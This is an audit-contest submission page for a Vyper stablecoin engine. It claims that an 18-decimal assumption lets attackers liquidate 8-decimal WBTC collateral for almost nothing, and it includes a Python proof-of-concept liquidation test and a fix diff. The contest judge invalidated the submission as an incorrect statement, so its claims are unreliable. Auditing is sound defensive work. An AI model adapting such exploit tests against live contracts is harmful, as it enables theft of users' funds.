Algo Ssstablecoinsss

AI First Flight #2
Beginner FriendlyDeFi
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Incorrect Decimal Assumption for WBTC (8 decimals) Causes 10^10 Underestimation, Allowing Attackers to Liquidate WBTC for Almost Nothing

Root + Impact

Description

  • Normal Behavior:
    The dsc_engine.vy contract calculates collateral value and liquidation amounts using formulas that assume all collateral tokens have 18 decimals.


  • Specific Issue:
    The WBTC token configured in moccasin.toml has 8 decimals, not 18. The conversion logic in dsc_engine.vy (lines 317 and 363) does not normalize for token decimals. As a result:

    • 1 WBTC (worth ~$100,000) is valued as only **$0.00001** — underestimating by a factor of 10^10.

    • The reverse conversion during liquidation is also wrong, allowing an attacker to repay a tiny amount of DSC and seize the borrower's WBTC.

    The existing tests use 18-decimal mock tokens (mock_token.vy:30), so this issue is not covered.

# dsc_engine.vy:317 — assumes 18 decimals
collateral_value: uint256 = (collateral_amount * price) / PRECISION
​
# dsc_engine.vy:363 — assumes 18 decimals
dsc_to_repay: uint256 = (collateral_amount * price) / PRECISION

Risk

Likelihood:

  • WBTC is already configured as a supported collateral with 8 decimals.

  • Any borrower using WBTC as collateral is immediately at risk.

  • No special permissions or extreme conditions are required.

Impact:

  • A borrower can be liquidated for almost nothing, losing their entire WBTC collateral.

  • The attacker pays a tiny amount of DSC and receives WBTC worth orders of magnitude more.

  • This is a direct theft of user funds.

Proof of Concept

The test deploys WBTC with 8 decimals and configures the engine to use it as collateral. Because the engine assumes 18 decimals, it values 1 WBTC at only $0.00001 instead of $100,000. When the borrower becomes liquidatable (due to another collateral's price drop), an attacker can repay a tiny amount of DSC and seize the borrower's WBTC. The assertion confirms the attacker receives WBTC for almost nothing.

import boa
from eth_utils import to_wei
​
from src import decentralized_stable_coin, dsc_engine
from src.mocks import MockV3Aggregator, mock_token, mock_wbtc_8_decimals
​
​
def test_8_decimal_wbtc_can_be_liquidated_for_negligible_dsc():
dsc = decentralized_stable_coin.deploy()
weth = mock_token.deploy()
wbtc = mock_wbtc_8_decimals.deploy()
eth_usd = MockV3Aggregator.deploy(8, 100_000 * 10**8)
btc_usd = MockV3Aggregator.deploy(8, 100_000 * 10**8)
engine = dsc_engine.deploy(
[wbtc.address, weth.address],
[btc_usd.address, eth_usd.address],
dsc.address,
)
dsc.set_minter(engine.address, True)
dsc.transfer_ownership(engine.address)
​
victim = boa.env.generate_address()
liquidator = boa.env.generate_address()
one_wbtc = 10**8
one_weth = to_wei(1, "ether")
​
with boa.env.prank(victim):
wbtc.mint_amount(one_wbtc)
weth.mint_amount(one_weth)
wbtc.approve(engine.address, one_wbtc)
weth.approve(engine.address, one_weth)
engine.deposit_collateral(wbtc.address, one_wbtc)
engine.deposit_collateral_and_mint_dsc(
weth.address, one_weth, to_wei(49_999, "ether")
)
​
# The engine values 1 WBTC (8 decimals) at only $0.00001
assert engine.get_usd_value(wbtc.address, one_wbtc) == 10**13
​
with boa.env.prank(liquidator):
weth.mint_amount(one_weth)
weth.approve(engine.address, one_weth)
engine.deposit_collateral_and_mint_dsc(
weth.address, one_weth, to_wei(1, "ether")
)
​
# ETH price drops slightly, making the victim liquidatable
eth_usd.updateAnswer(99_990 * 10**8)
assert engine.health_factor(victim) < to_wei(1, "ether")
​
# Liquidator repays only 9 * 10^12 DSC (0.000009 DSC) and seizes 0.99 WBTC
debt_to_cover = 9 * 10**12
with boa.env.prank(liquidator):
dsc.approve(engine.address, debt_to_cover)
engine.liquidate(wbtc.address, victim, debt_to_cover)
​
# Liquidator receives 0.99 WBTC (~$99,000) for 0.000009 DSC
assert wbtc.balanceOf(liquidator) == 99_000_000
assert wbtc.balanceOf(engine.address) == 1_000_000
assert dsc.balanceOf(liquidator) == to_wei(1, "ether") - debt_to_cover
​

Recommended Mitigation

The fix records each collateral's decimals at deployment and normalizes all amounts to 18 decimals before any valuation or liquidation calculation. This eliminates the 10^10 underestimation for WBTC (8 decimals) and ensures the liquidation amount is calculated correctly regardless of the collateral's native decimals.

# dsc_engine.vy
​
+ collateral_decimals: public(HashMap[address, uint256])
​
@external
def __init__(collateral_tokens: DynArray[address, MAX_COLLATERALS], ...):
+ for i in range(len(collateral_tokens)):
+ self.collateral_decimals[collateral_tokens[i]] = ERC20(collateral_tokens[i]).decimals()
​
@internal
@view
def _get_collateral_value(collateral: address, amount: uint256) -> uint256:
- collateral_value: uint256 = (amount * price) / PRECISION
+ normalized: uint256 = amount * (10 ** (18 - self.collateral_decimals[collateral]))
+ collateral_value: uint256 = (normalized * price) / PRECISION
return collateral_value
​
@internal
@view
def _get_dsc_to_repay(collateral: address, amount: uint256) -> uint256:
- dsc_to_repay: uint256 = (amount * price) / PRECISION
+ normalized: uint256 = amount * (10 ** (18 - self.collateral_decimals[collateral]))
+ dsc_to_repay: uint256 = (normalized * price) / PRECISION
return dsc_to_repay
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!